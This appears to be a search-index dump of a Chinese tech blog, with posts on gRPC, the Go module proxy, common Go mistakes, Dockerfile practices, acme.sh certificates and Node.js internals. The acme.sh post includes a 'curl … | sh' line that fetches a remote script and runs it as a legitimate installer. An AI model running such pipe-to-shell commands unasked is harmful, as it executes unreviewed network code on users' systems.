是一个静态语言,需要先编译才能运行,因此使用 gRPC 有一点不同,我们先要去官网 https://github.com/protocolbuffers/protobuf/releases 下载并安装 protoc( protocol buffers 编译器)。 1、执行 protoc 指令: 编译 .proto 文件生成 .pb.go 代码包,在后续的使用中需要导入这个代码包。 2、构造 gRPC 服务端: 3、构建 gRPC 客户端发起 RPC 调用: protoc 编译 .proto 文件生成的 .pb.go 代码包里面包含了所有的服务、方法、数据结构等等,在我们的 go 代码中引用它们即可。 ","date":"2019-08-23","objectID":"/grpc/:3:0","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"结语 不论是 gRPC 的客户端还是服务端并没有限制具体的语言,这意味着你完全可以使用 node.js 客户端去调用 go 服务端,或者其它任意语言的组合。 但是 gRPC 官方当前支持的语言是有限的,只有 Android、C#、C++、Dart、Go、Java、Node、PHP、Python、Ruby、Web( js + envoy )。 其次,gRPC 并不是万能的,比如大数据集(单条消息超过 1 MB )就不适合用 gRPC ,即使你可以通过分块流式的方法来实现,但是复杂度会成倍的增加。 ","date":"2019-08-23","objectID":"/grpc/:4:0","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"参考资料 https://developers.google.com/protocol-buffers/docs/overview https://www.grpc.io/docs/guides https://github.com/grpc/grpc-node https://github.com/grpc/grpc-go ","date":"2019-08-23","objectID":"/grpc/:5:0","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"为什么你应该使用 Go module proxy","date":"2019-08-12","objectID":"/why-use-go-module-proxy/","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"自从 Go v1.11 版本之后 Go modules 成了官方的包管理方式,与此同时还有一个 Go module proxy ,它到底是个什么东西?顾名思义,其实就是个代理,所有的模块和依赖库都可以从这个代理上下载。 Go module proxy 到底有何特别之处?我们为什么应该使用它? 使用 Go modules ,如果你添加了新的依赖项或者构建了自己的模块,那么它将会基于 go.mod 文件下载( go get )所有的依赖项并且缓存起来。你可以使用 vendor 目录(将依赖项置于此目录下)以绕过缓存,同时通过 -mod=vendor 标记就可以指定使用 vendor 目录下的依赖项进行构建。然而这么做并不好。 ","date":"2019-08-12","objectID":"/why-use-go-module-proxy/:0:0","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"01 使用 vendor 目录有哪些问题: vendor 目录不再是 go 命令的默认项,你必须通过 -mode=vendor 指定。 vendor 目录占用了太多的空间,克隆时也会花费大量时间,尤其是 CI/CD 的效率很低。 vendor 更新依赖项很难 review ,而依赖项又常常与业务逻辑紧密关联,我们很难去回顾到底发生了哪些变化。 那么不使用 vendor 目录又会如何呢?这时我们又将面临如下问题: go 将尝试从源库下载依赖项,但是源库存在被删除的风险。 VCS(版本控制系统,如 github.com)可能会挂掉或无法使用,这时你也无法构建你的项目。 有些公司的内部网络对外隔离,不使用 vendor 目录对他们来说也不行。 依赖库的所有者可能通过推送相同版本的恶意内容进行破坏。要防止这种情况发生,需要将 go.sum 和 go.mod 文件一起存储。 某些依赖项可能会使用与 git 不同的 VCS ,如 hg(Mercurial)、bzr(Bazaar)、svn(Subversion),因此你不得不安装这些其他的工具,很烦。 go get 需要获取 go.mod 中每个依赖项的源代码以解决传递依赖,这显著减慢了整个构建过程,因为它必须下载(git clone)每个存储库以获取单个文件。 如何解决上述这一系列的问题?答案是使用 Go module proxy 。 ","date":"2019-08-12","objectID":"/why-use-go-module-proxy/:1:0","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"02 默认情况下,go 命令直接从 VCS 下载模块。环境变量 GOPROXY 指定使用 Go module proxy 以进一步控制下载源。 通过设置 GOPROXY ,你将会解决上述的所有问题: Go module proxy 默认缓存并永久存储所有依赖项(不可变存储),你不再需要 vendor 目录。 摆脱了 vendor 目录意味着项目不再占用 repository 空间,提高了效率。 由于依赖库以不可变的形式存储在代理中,即使源库删除,代理中的库也不会被删除,这保障依赖库的使用者。 一旦模块被存储在 Go proxy 中,就无法被覆盖或者删除,换句话说使用相同版本注入恶意代码的行为攻击将不再奏效。 你不再需要任何 VCS 工具来下载依赖项,因为你只需要通过 http 与 Go proxy 建立连接。 下载和构建将会快很多,官方团队测试的结果是快了三到六倍。 你可以轻松管理自己的代理,这可以让你更好的控制构建管道的稳定性。 综上所述,你绝对应该使用 Go module proxy 。 ","date":"2019-08-12","objectID":"/why-use-go-module-proxy/:2:0","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"03 如何使用 Go module proxy ? 你需要设置环境变量 GOPROXY : 1、如果 GOPROXY 未设置、为空、或者设置为 direct ,则 go get 将直连 VCS (如 github.com): GOPROXY=\"\" GOPROXY=direct 如果设置为 off ,则表示不允许使用网络: GOPROXY=off 2、你可以使用任意一个公共的代理 : GOPROXY=https://proxy.golang.org # 谷歌官方,大陆地区被墙了 GOPROXY=https://goproxy.io # 个人开源 GOPROXY=https://goproxy.cn # 大陆地区建议使用,七牛云托管 3、你可以基于开源方案实现本地部署: Athens: https://github.com/gomods/athens goproxy: https://github.com/goproxy/goproxy THUMBAI: https://thumbai.app/ 通过这种方式你可以构建一个公司的内部代理,与外网隔离。 4、你可以购买商业产品: Artifactory: https://jfrog.com/artifactory/ 5、你可以使用 file:/// URL ,文件系统路径也是可以直接使用的。 ","date":"2019-08-12","objectID":"/why-use-go-module-proxy/:3:0","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"04 Go v1.13 版本的相关更改: GOPROXY 可以设置为以逗号分隔的列表,如果某个地址失败将会依次尝试后面的地址。 GOPROXY 默认启动,默认值将会是 https://proxy.golang.org,direct 。direct 之后的地址将会被忽略。 GOPRIVATE 环境变量将会被推出,用于绕过 GOPROXY 中的特定路径,尤其是公司中的私有模块。 ","date":"2019-08-12","objectID":"/why-use-go-module-proxy/:4:0","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"参考资料 https://github.com/golang/go/wiki/Modules https://proxy.golang.org/ ","date":"2019-08-12","objectID":"/why-use-go-module-proxy/:5:0","tags":["Golang"],"title":"为什么你应该使用 Go module proxy","uri":"/why-use-go-module-proxy/"},{"categories":["Golang"],"content":"Go 开发十种常犯错误【译】","date":"2019-07-29","objectID":"/top-10-mistakes/","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"文本翻译自: https://itnext.io/the-top-10-most-common-mistakes-ive-seen-in-go-projects-4b79d4f6cd65 本文将会介绍 Go 开发中十种最常犯的错误,内容不算少,请耐心观看。 ","date":"2019-07-29","objectID":"/top-10-mistakes/:0:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"1、未知的枚举值 示例: type Status uint32 const ( StatusOpen Status = iota StatusClosed StatusUnknown ) 示例中使用了 iota 创建了枚举值,其结果就是: StatusOpen = 0 StatusClosed = 1 StatusUnknown = 2 现在假设上述 Status 类型将会作为 JSON request 的一部分: type Request struct { ID int `json:\"Id\"` Timestamp int `json:\"Timestamp\"` Status Status `json:\"Status\"` } 然后你收到的数据可能是: { \"Id\": 1234, \"Timestamp\": 1563362390, \"Status\": 0 } 这看起来似乎没有任何问题,status 将会被解码为 StatusOpen 。 但是如果另一个请求的数据是这样: { \"Id\": 1235, \"Timestamp\": 1563362390 } 这时 status 即使没有传值(也就是 unknown 未知状态),但由于默认零值,其将会被解码为 StatusOpen ,显然不符合业务语义上的 StatusUnknown 。 最佳实践是将未知的枚举值设置为 0 : type Status uint32 const ( StatusUnknown Status = iota StatusOpen StatusClosed ) ","date":"2019-07-29","objectID":"/top-10-mistakes/:1:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"2、基准测试 基准测试受到多方面的影响,因此想得到正确的结果比较困难。 最常见的一种错误情况就是被编译器优化了,例如: func clear(n uint64, i, j uint8) uint64 { return (math.MaxUint64\u003c\u003cj | ((1 \u003c\u003c i) - 1)) \u0026 n } 这个函数的作用是清除指定范围的 bit 位,基准测试可能会这样写: func BenchmarkWrong(b *testing.B) { for i := 0; i \u003c b.N; i++ { clear(1221892080809121, 10, 63) } } 在这个基准测试中,编译器将会注意到这个 clear 是一个 leaf 函数(没有调用其它函数)因此会将其 inline 。一旦这个函数被 inline 了,编译器也会注意到它没有 side-effects(副作用)。因此 clear 函数的调用将会被简单的移除从而导致不准确的结果。 解决这个问题的一种方式是将函数的返回结果设置给一个全局变量: var result uint64 func BenchmarkCorrect(b *testing.B) { var r uint64 for i := 0; i \u003c b.N; i++ { r = clear(1221892080809121, 10, 63) } result = r } 此时,编译器不知道这个函数的调用是否会产生 side-effect ,因此基准测试的结果将会是准确的。 ","date":"2019-07-29","objectID":"/top-10-mistakes/:2:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"3、指针 按值传递变量将会创建此变量的副本(简称“值拷贝”),而通过指针传递则只会复制变量的内存地址。 因此,指针传递总是更快吗?显然不是,尤其是对于小数据而言,值拷贝更快性能更好。 原因与 Go 中的内存管理有关。让我们简单的解释一下。 变量可以被分配到 heap 或者 stack 中: stack 包含了指定 goroutine 中的将会被用到的变量。一旦函数返回,变量将会从 stack 中 pop 移除。 heap 包含了需要共享的变量(例如全局变量等)。 示例: func getFooValue() foo { var result foo // Do something return result } 这里,result 变量由当前的 goroutine 创建,并且将会被 push 到当前的 stack 中。一旦这个函数返回了,调用者将会收到 result 变量的值拷贝副本,而这个 result 变量本身将会被从 stack 中 pop 移除掉。它仍存在于内存中,直到它被另一个变量擦除,但是它无法被访问到。 现在看下指针的示例: func getFooPointer() *foo { var result foo // Do something return \u0026result } result 变量仍然由当前 goroutine 创建,但是函数的调用者将会接受的是一个指针(result 变量内存地址的副本)。如果 result 变量被从 stack 中 pop 移除,那么函数调用者显然无法再访问它。 在这种情况下,为了正常使用 result 变量,Go 编译器将会把 result 变量 escape(转移)到一个可以共享变量的位置,也就是 heap 中。 传递指针也会有另一种情况,例如: func main() { p := \u0026foo{} f(p) } 由于我们在相同的 goroutine(main 函数)中调用 f 函数,这里的 p 变量无需被 escape 到 heap 中,它只会被推送到 stack 中,并且 sub-function 也就是这里的 f 函数是可以直接访问到 p 变量的。 stack 为什么更快?主要有两个原因: stack 几乎没有垃圾回收。正如上文所述,一个变量创建后 push 到 stack 中,其函数返回后则从 stack 中 pop 掉。对于未使用的变量无需复杂的过程来回收它们。 stack 从属于一个 goroutine ,与 heap 相比,stack 中的变量不需要同步,这也导致了 stack 性能上的优势。 总之,当我们创建一个函数时,我们的默认行为应该是使用值而不是指针,只有当我们想用共享变量时才应该使用指针。 如果我们遇到性能问题,一种可能的优化就是检查指针在某些特定情况下是否有帮助。如果你想要知道编译器何时将变量 escape 到 heap ,可以使用以下命令: go build -gcflags \"-m -m\" ","date":"2019-07-29","objectID":"/top-10-mistakes/:3:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"4、从 for/switch 或 for/select 中 break 例如: for { switch f() { case true: break case false: // Do something } } for { select { case \u003c-ch: // Do something case \u003c-ctx.Done(): break } } 注意,break 将会跳出 switch 或 select ,但不会跳出 for 循环。 为了跳出 for 循环,一种解决方式是使用带标签的 break : loop: for { select { case \u003c-ch: // Do something case \u003c-ctx.Done(): break loop } } ","date":"2019-07-29","objectID":"/top-10-mistakes/:4:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"5、errors 管理 Go 中的错误处理一直以来颇具争议。 推荐使用 https://github.com/pkg/errors 库,这个库遵循如下规则: An error should be handled only once. Logging an error is handling an error. So an error should either be logged or propagated. 而当前的标准库(只有一个 New 函数)却很难去遵循这一点,因为我们可能希望为错误添加一些上下文并具有某种形式的层次结构。 假设我们在调用某个 REST 请求操作数据库时会碰到以下问题: unable to server HTTP POST request for customer 1234 |_ unable to insert customer contract abcd |_ unable to commit transaction 通过上述 pkg/errors 库,我们可以处理如下: func postHandler(customer Customer) Status { err := insert(customer.Contract) if err != nil { log.WithError(err).Errorf(\"unable to server HTTP POST request for customer %s\", customer.ID) return Status{ok: false} } return Status{ok: true} } func insert(contract Contract) error { err := dbQuery(contract) if err != nil { return errors.Wrapf(err, \"unable to insert customer contract %s\", contract.ID) } return nil } func dbQuery(contract Contract) error { // Do something then fail return errors.New(\"unable to commit transaction\") } 最底层通过 errors.New 初始化一个 error ,中间层 insert 函数向其添加更多上下文信息来包装此 error ,然后父级调用者通过记录日志来处理错误,每一层都对错误进行了返回或者处理。 我们可能还想检查错误原因以进行重试。例如我们有一个外部库 db 处理数据库访问,其可能会返回一个 db.DBError 的错误,为了实现重试,我们必须检查具体的错误原因: func postHandler(customer Customer) Status { err := insert(customer.Contract) if err != nil { switch errors.Cause(err).(type) { default: log.WithError(err).Errorf(\"unable to server HTTP POST request for customer %s\", customer.ID) return Status{ok: false} case *db.DBError: return retry(customer) } } return Status{ok: true} } func insert(contract Contract) error { err := db.dbQuery(contract) if err != nil { return errors.Wrapf(err, \"unable to insert customer contract %s\", contract.ID) } return nil } 如上所示,通过 pkg/errors 库的 errors.Cause 即可轻松实现。 一种经常会犯的错误是只部分使用 pkg/errors 库,例如: switch err.(type) { default: log.WithError(err).Errorf(\"unable to server HTTP POST request for customer %s\", customer.ID) return Status{ok: false} case *db.DBError: return retry(customer) } 这里直接使用 err.(type) 是无法捕获到 db.DBError 然后进行重试的。 ","date":"2019-07-29","objectID":"/top-10-mistakes/:5:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"6、slice 初始化 有时候我们明确的知道一个 slice 切片的最终长度。例如我们想要将一个 Foo 切片 convert 为 Bar 切片,这意味着两个 slice 切片的长度是相同的。 然而有些人却经常初始化 slice 切片如: var bars []Bar bars := make([]Bar, 0) slice 切片并不是一个神奇的结构,当没有更多可用空间时,它会进行扩容,也就是其将会自动创建一个具有更大容量的新数组并复制所有的元素。 现在,让我们想象一下如果切片需要多次扩容,即使时间复杂度保持为 O(1) ,但在实践中,它也会对性能造成影响。尽可能避免这种情况。 ","date":"2019-07-29","objectID":"/top-10-mistakes/:6:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"7、context 管理 context.Context 经常被开发者误解。官方文档的描述是: A Context carries a deadline, a cancelation signal, and other values across API boundaries. 这个描述很宽泛,以致于一些人对为什么以及如何使用它感到困惑。 让我们试着详细说明下,一个 context 可以包含: 一个 deadline 。其可以是持续时间(例如 250 毫秒)或者具体某个时间点(例如 2019-01-08 01:00:00),一旦达到 deadline 则所有正在进行的活动都会取消(比如 I/O 请求,等待某个 channel 输入等等)。 一个取消 signal 信号(基本上是 \u003c-chan struct{} )。这里的行为是类似的,一旦收到取消信号则必须停止正在进行中的活动。 一组 key/value(基于 interface{} 类型)。 需要说明的是,一个 context 是可组合的,例如既包含一个 deadline 又包含一组 key/value 。此外,多个 goroutine 可以共享同一个 context ,因此取消信号可能会导致多个 goroutine 中的活动被停止。 例如由同一个 context 引发的连环取消,我们要注意使用父子形式的 context ,以此来区分管理,避免相互影响。 ","date":"2019-07-29","objectID":"/top-10-mistakes/:7:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"8、未使用 -race 测试时未使用 -race 选项也是常见的,它是有价值的工具,我们应该在测试时始终启动它。 ","date":"2019-07-29","objectID":"/top-10-mistakes/:8:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"9、使用文件名作为输入 假设我们要实现一个函数去统计文件中的空行数,我们可能这样做: func count(filename string) (int, error) { file, err := os.Open(filename) if err != nil { return 0, errors.Wrapf(err, \"unable to open %s\", filename) } defer file.Close() scanner := bufio.NewScanner(file) count := 0 for scanner.Scan() { if scanner.Text() == \"\" { count++ } } return count, nil } 这看起来很自然,filename 文件名作为输入,在函数内部打开文件。 然而,如果我们想要对此函数进行单元测试,输入可能是普通文件,或者空文件,或者其它不同编码类型的文件等等,此时则很容易变得难以管理。另外,如果我们想对某个 HTTP body 实现相同的逻辑,那么我们不得不创建一个另外的函数。 Go 提供了两个很棒的抽象:io.Reader 和 io.Writer 。我们可以传递 io.Reader 抽象数据源而不是 filename 。这样不管是文件也好,HTTP body 也好,byte buffer 也好,我们都只需要使用 Read 方法即可。 上述例子中,我们甚至可以缓冲输入以逐行读取,因此我们可以使用 bufio.Reader 和它的 ReadLine 方法: func count(reader *bufio.Reader) (int, error) { count := 0 for { line, _, err := reader.ReadLine() if err != nil { switch err { default: return 0, errors.Wrapf(err, \"unable to read\") case io.EOF: return count, nil } } if len(line) == 0 { count++ } } } 而打开文件的操作则交由 count 的调用者去完成: file, err := os.Open(filename) if err != nil { return errors.Wrapf(err, \"unable to open %s\", filename) } defer file.Close() count, err := count(bufio.NewReader(file)) 这样,无论数据源如何我们都可以调用 count 函数,同时这有有利于我们进行单元测试,因为我们可以简单的从字符串中创建一个 bufio.Reader : count, err := count(bufio.NewReader(strings.NewReader(\"input\"))) ","date":"2019-07-29","objectID":"/top-10-mistakes/:9:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Golang"],"content":"10、Goroutines 和 Loop 循环变量 示例: ints := []int{1, 2, 3} for _, i := range ints { go func() { fmt.Printf(\"%v\\n\", i) }() } 输出将会是什么?1 2 3 吗?当然不是。 上例中,每个 goroutine 共享同一个变量实例,因此将会输出 3 3 3(最有可能)。 这个问题有两种解决方式。第一种是将 i 变量传递给 closure 闭包( inner function ): ints := []int{1, 2, 3} for _, i := range ints { go func(i int) { fmt.Printf(\"%v\\n\", i) }(i) } 第二种方式是在 for 循环范围内创建另一个变量: ints := []int{1, 2, 3} for _, i := range ints { i := i go func() { fmt.Printf(\"%v\\n\", i) }() } 以上就是全部内容,相关问题更多深入内容可参考: https://dave.cheney.net/high-performance-go-workshop/dotgo-paris.html?#watch_out_for_compiler_optimisations https://www.ardanlabs.com/blog/2017/05/language-mechanics-on-stacks-and-pointers.html https://www.youtube.com/watch?v=ZMZpH4yT7M0\u0026feature=youtu.be https://dave.cheney.net/2016/04/27/dont-just-check-errors-handle-them-gracefully http://p.agnihotry.com/post/understanding_the_context_package_in_golang/index.html https://medium.com/@val_deleplace/does-the-race-detector-catch-all-data-races-1afed51d57fb https://github.com/golang/go/wiki/CommonMistakes ","date":"2019-07-29","objectID":"/top-10-mistakes/:10:0","tags":["Golang"],"title":"Go 开发十种常犯错误【译】","uri":"/top-10-mistakes/"},{"categories":["Kubernetes"],"content":"Dockerfile 最佳实践","date":"2019-07-10","objectID":"/dockerfile-best-practice/","tags":["Docker","Kubernetes"],"title":"Dockerfile 最佳实践","uri":"/dockerfile-best-practice/"},{"categories":["Kubernetes"],"content":"Dockerfile 是用来构建 docker 镜像的配置文件,语法简单上手容易,你可以很轻松的就编写一个能正常使用的 Dockerfile ,但是它很有可能还不够好,本文将会从细节上介绍一些 tips 助你实现最佳实践。 1、注意构建顺序 FROM debian - COPY ../app RUN apt-get update RUN apt-get -y install cron vim ssh + COPY ../app 上例中第二步一旦本地文件发生了变化将会导致包括此后步骤的缓存全部失效,必须重新构建,尤其是在开发环境,这将会增加你构建镜像的耗时。构建步骤的排序很重要,改变小的步骤放前面,改变大的步骤放后面,这有助于你优化使用缓存加速整个构建过程。 2、使用更精确的 COPY 只 copy 真正需要的文件,比如 node_modules 或者其它一些对于构建镜像毫无作用的文件一定要忽略掉(写入 .dockerignore 文件),这些无用的文件百害而无一利。 3、合并指令 - RUN apt-get update - RUN apt-get -y install cron vim ssh + RUN apt-get update \u0026\u0026 apt-get -y install cron vim ssh 像这种 apt-get 升级和安装分为两个步骤毫无必要,反之统一为一个步骤更有利于缓存。你如果仔细观察各种官方镜像的 Dockerfile 是怎么写的,你肯定会发现他们单条 RUN 指令的内容相当的冗长也不会拆分,这样写是有道理的。 4、移除不必要的依赖 - RUN apt-get update \u0026\u0026 apt-get -y install cron vim ssh + RUN apt-get update \u0026\u0026 apt-get -y install --no-install-recommends cron 只安装必须的依赖,某些 debug 的工具不要在构建的时候安装,首先线上 debug 的频率应该是很低的,其次真的要用的时候另外再安装就好了。另外 apt-get 这种包管理器可能会多安装一些额外推荐的东西,加上 --no-install-recommends 不要安装它们,如果某些工具是需要的则必须显示声明。 5、移除包管理器的缓存 RUN apt-get update \\ \u0026\u0026 apt-get -y install --no-install-recommends cron \\ + \u0026\u0026 rm -rf /var/lib/apt/lists/* 包管理器有它自己的缓存,记得删除这些文件。做这么多的目的其实就是精简镜像的大小(一个镜像几百M 上G的实在是有太多不需要的垃圾内容了),镜像越小部署起来越快。 6、使用官方镜像 比如,你需要一个 node.js 环境,你可以拉取一个 linux 基础镜像,然后自己一步一步安装,但是这样做毫无必要,你应该直接选择 node.js 官方的基础镜像,你要知道官方镜像一定是做了很多优化的。 7、使用清晰的 tag 标记 不要使用 FROM node:latest 这种,latest 标记鬼知道具体指向了哪个版本。 8、寻找合适大小的镜像 12.6.0-stretch 349MB 12.6.0-slim 56MB 12.6.0-alpine 27MB 例如上面这三个基础镜像都是相同的 node 12.6.0 版本,但是镜像大小差别却很大,因为底层的系统是可以被裁剪的,镜像越小越好,但是要注意由于系统被裁剪可能出现兼容性问题。 9、在一致的环境中从源码构建 10、安装依赖 这里安装的依赖指的不是系统依赖,而是应用程序的依赖,在单独的步骤中进行。 11、多阶段构建 例如 go 语言,打包编译的操作是需要安装相关环境和工具的,但是运行的时候并不需要,这时候我们就可以使用多阶段构建。 FROM golang:1.12 AS builder WORKDIR /app COPY ./ ./ RUN go build -o myapp test.go FROM debian:stable-slim COPY --from=builder /app/myapp / CMD [\"./myapp\"] 如上所示,我们在第一阶段的构建拉取了完整的 go 环境,然后打包编译生成二进制可执行文件,在第二阶段则重新构造一个新的环境并选用精简的 debian 基础镜像,只把第一阶段编译好的可执行文件复制进来,而其它不需要的东西通通抛弃掉了,这样我们最终生成的镜像是非常小而精的。(多阶段构建要求 docker 版本 17.05 以上) 最后,我们所使用的语言和对环境的要求千差万别,注意不要生搬硬套,只有适合自己的才是最好的,希望本文所述的这些细节对你有所帮助。 ","date":"2019-07-10","objectID":"/dockerfile-best-practice/:0:0","tags":["Docker","Kubernetes"],"title":"Dockerfile 最佳实践","uri":"/dockerfile-best-practice/"},{"categories":["Uncate"],"content":"Let's Encrypt 配置 HTTPS 免费泛域名证书","date":"2019-06-27","objectID":"/lets-encrypt/","tags":[],"title":"Let's Encrypt 配置 HTTPS 免费泛域名证书","uri":"/lets-encrypt/"},{"categories":["Uncate"],"content":"想要使用 HTTPS ,你必须先拥有权威 CA(证书签发机构)签发的证书(对于自签名的证书,浏览器是不认账的)。Let’s Encrypt 就是一家权威的 CA 证书签发机构,你可以向他申请免费的证书(一般商业证书的价格比较贵)。 推荐使用 acme.sh 这个工具,申请泛域名证书示例: 注意:以下示例中,我的二级域名是 rifewang.club (一般你向云服务商购买的都是二级域名),泛域名是 *.x.rifewang.club 。 1、在系统上安装 acme.sh ,默认安装位置是 ~/.acme.sh : curl https://get.acme.sh | sh 安装要求系统必须已经安装了 cron , crontab , crontabs , vivie-cron 其中任意一个工具,不然会提示你安装失败,没有的话先安装一个即可。 注意:以下操作使用的是 DNS manual mode 的方式。 2、发起 issue 申请获取域名 DNS TXT 记录: acme.sh --issue --force --dns -d \u003c二级域名\u003e -d \u003c泛域名\u003e \\ --yes-I-know-dns-manual-mode-enough-go-ahead-please 注意:你必须先将 acme.sh 这个可执行文件的路径添加到系统的环境变量 PATH 中,或者直接在可执行文件目录下执行,否则肯定会提示你 acme.sh command not found 。 –force 强制 issue ,某些情况下你的域名已经验证成功了就会跳过验证,不会生成新的 TXT 记录,所以这里强制执行一下。 –yes-I-know… 这一堆冗长的东西是必须加的,这里就是想提示你 DNS manual mode 的方式不支持自动续签。 issue 之后的结果如图所示: 按照说明你需要分别添加 _acme-challenge.\u003c二级域名\u003e 和 _acme-challenge.\u003c泛域名\u003e 这两个域名的 TXT 类型的域名解析: 之所以要添加域名解析是为了验证你对此域名的所有权。 3、等待 DNS TXT 解析生效,同一条解析重复更新需要避免 DNS 缓存的问题。 4、发起 renew 申请签发并下载证书: acme.sh --renew --force --dns -d \u003c二级域名\u003e -d \u003c泛域名\u003e \\ --yes-I-know-dns-manual-mode-enough-go-ahead-please 示例结果如图所示: 输出结果除了会告诉你证书签发成功之外,还会在最后说明证书的存放位置,默认是 ~/.acme.sh/\u003c二级域名\u003e/ 这个目录。 5、配置你的证书和密钥,对应的就是 fullchain.cer 和 \u003c二级域名\u003e.key 这两个文件的内容。不同的情况下,配置的操作是不同的:比如你是在自己的服务器上直接操作 nginx ,那么将配置路径指向正确的证书和密钥地址即可,而如果你使用的是云服务,那么你可能需要做的是上传证书和密钥文件内容。总之,你已经成功获取了 HTTPS 证书。 Let’s Encrypt 的泛域名证书有效期是三个月,acme.sh 的 DNS manual mode 方式不支持自动续签,你想要续签就必须重新 issue 然后 renew 操作一遍,我之所以这么做是因为权限受限,当然写个定时脚本任务就行了,也不用我手动操作。 acme.sh 不只一种 mode 方式,其它的方式是有支持自动续签的,并且也接入了主流的云服务商(你只需要配置 apikey 即可),更多内容请参考官网。 ","date":"2019-06-27","objectID":"/lets-encrypt/:0:0","tags":[],"title":"Let's Encrypt 配置 HTTPS 免费泛域名证书","uri":"/lets-encrypt/"},{"categories":["Uncate"],"content":"深入理解 Node.js 事件循环架构【译】","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Uncate"],"content":"本文翻译自: https://medium.com/preezma/node-js-event-loop-architecture-go-deeper-node-core-c96b4cec7aa4 关于 Node.js ,相信你已经了解过不少内容,诸如 Node.js 内核、事件循环、单线程、setTimeout 或 setImmediate 函数的执行机制等等。 当然最重要的,你应该知道 Node.js 使用的是非阻塞 IO 模型以及异步的编程风格。本文仍将深入核心进行相关内容的探讨。 ","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/:0:0","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Uncate"],"content":"01 事件循环到底是什么?Node.js 到底是单线程还是多线程? 关于这个问题,网络上充斥着各种不清晰甚至错误的答案。本文将会深入 Node.js 内核,阐述它是如何实现的以及它的工作机制。 Node.js 并不仅仅只是 \" JavaScript on the Server \" ,更重要的是,其中约 30% 的部分是 C++ 而不是 JS 。本文将会讲述这些 C++ 部分在 Node.js 中实际做了什么。 Node.js 是单线程? 答案:Node.js 既是单线程,但同时也不是。 一些相关名词:multitasking(多任务)、single-threaded(单线程)、multi-threaded(多线程),thread pool(线程池)、epoll loop(epoll 循环)、event loop(事件循环)。 让我们从头开始深入了解 Node.js 内核中发生了什么? 处理器可以一次处理一件事,也可以一次并行地处理多个任务(multitasking)。 对于单核处理器,其只能一次处理一个任务,应用程序在完成任务后调用 yield 去通知处理器开始处理下一个任务,就像 JavaScript 中的 generator 函数一样,否则没有 yield 则将返回当前任务。在过去,当应用程序无法调用 yield 时,其服务将处于无法访问的状态。 进程是一个 top level 执行容器,它有自己专用的内存系统。 这意味着在一个进程中无法直接获取另一个进程的内存中的数据,为了使两个进程进行通信,我们必须要另外做一些工作,称之为 inter-process communication( IPC ,进程间通信),它依赖于 system sockets(系统套接字)。 Unix 系统中的工作基于 sockets 套接字。Socket 就是一个整数,返回一个 Socket() 系统调用,它被称为 socket descriptor(套接字描述符)或者 file descriptor(文件描述符)。 Sockets 通过虚拟的接口( read / write / pool / close 等)指向系统内核中的对象。 System sockets 系统套接字的工作方式类似于 TCP sockets :将数据转换为 buffer 然后发送。由于我们在进行进程间通信时使用的是 JavaScript ,因此我们必须多次调用 JSON.stringify ,显然这是很低效的。 然而,我们拥有线程! 执行线程是可由调度器独立管理的最小程序指令序列。 线程在进程中运行,一个进程可以包含许多线程,并且由于这些线程处于同一个进程中,因此它们共享同一个内存。 这也就是说线程间通信不需要做任何额外的事情。如果我们在一个线程中托管一个全局变量,那么我们可以直接在另一个线程中访问它,因为它们都保持对同一个内存的引用,这种方式非常高效。 但是我们假设在一个线程中有一个函数,它写入一个 foo 变量,另一个线程则从中读取,这将会发生什么? 答案无从得知,因为我们无法确定读和写的先后顺序。这也正是多线程编程的难点所在。让我们看看 Node.js 如何处理这个问题。 Node.js 说:我只有一个线程。 实际上,Node.js 基于 V8 引擎,代码在主线程中执行,事件循环也运行在主线程中,这就是为什么我们说 Node.js 是单线程的。 但是,Node.js 不仅仅只是 V8,它有许多 APIs(C++),并且这些 API 都由 Event Loop 事件循环管理,通过 libuv(C++)实现。 C++ 在后台执行 JavaScript 代码并且拥有访问线程的权限。如果你执行从 Node.js 中调用的 JavaScript 同步方法,它将始终在主线程中运行。但是如果你执行一些异步的任务,它不会总是在主线程中执行:根据你使用的方法,事件循环可以将它路由到 APIs 中的某一个,并且它可以在另一个线程中执行。 看一个示例 